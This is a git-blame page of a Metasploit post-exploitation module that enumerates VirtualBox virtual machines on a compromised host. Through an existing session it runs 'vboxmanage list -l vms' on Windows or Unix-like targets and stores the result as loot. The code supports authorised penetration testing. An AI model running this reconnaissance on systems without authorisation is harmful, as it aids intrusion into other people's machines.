Files
metasploit-gs/modules/post/multi/gather/enum_vbox.rb
T

Ignoring revisions in .git-blame-ignore-revs. Click here to bypass and see the normal blame view.

68 lines
2.2 KiB
Ruby
Raw Normal View History

##
2017-07-24 06:26:21 -07:00
# This module requires Metasploit: https://metasploit.com/download
2013-10-15 13:50:46 -05:00
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'yaml'
2016-03-08 14:02:44 +01:00
class MetasploitModule < Msf::Post
include Msf::Post::File
2013-08-30 16:28:54 -05:00
2023-02-08 13:47:34 +00:00
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Multi Gather VirtualBox VM Enumeration',
'Description' => %q{
This module will attempt to enumerate any VirtualBox VMs on the target machine.
Due to the nature of VirtualBox, this module can only enumerate VMs registered
for the current user, therefore, this module needs to be invoked from a user context.
},
'License' => MSF_LICENSE,
'Author' => ['theLightCosine'],
'Platform' => %w[bsd linux osx unix win],
'SessionTypes' => ['shell', 'meterpreter' ]
)
)
end
2013-08-30 16:28:54 -05:00
def run
2016-10-29 14:59:05 +10:00
case session.platform
when 'windows'
2015-06-22 17:54:17 -05:00
if session.type == 'meterpreter'
begin
res = cmd_exec('c:\\Program Files\\Oracle\\VirtualBox\\vboxmanage', 'list -l vms')
rescue ::Rex::Post::Meterpreter::RequestError
print_error('VirtualBox does not appear to be installed on this machine')
return nil
end
if res.empty?
print_status('VirtualBox is installed but this user has no VMs registered. Try another user.')
return nil
end
else
res = cmd_exec('"c:\\Program Files\\Oracle\\VirtualBox\\vboxmanage" list -l vms')
if res.empty?
print_error('VirtualBox isn\'t installed or this user has no VMs registered')
return nil
end
end
2016-10-29 14:59:05 +10:00
when 'unix', 'linux', 'bsd', 'osx'
2015-06-22 17:54:17 -05:00
res = cmd_exec('vboxmanage list -l vms')
unless res.start_with?('Sun VirtualBox') || res.include?('Name:')
print_error('VirtualBox isn\'t installed or this user has no VMs registered')
return nil
end
end
2015-06-22 17:54:17 -05:00
2017-09-30 15:45:52 -04:00
return nil unless res
2023-02-08 13:47:34 +00:00
2015-06-22 17:54:17 -05:00
vprint_status(res)
2023-02-08 13:47:34 +00:00
store_path = store_loot('virtualbox_vms', 'text/plain', session, res, 'virtualbox_vms.txt', 'Virtualbox Virtual Machines')
2015-06-22 17:54:17 -05:00
print_good("#{peer} - File successfully retrieved and saved on #{store_path}")
end
end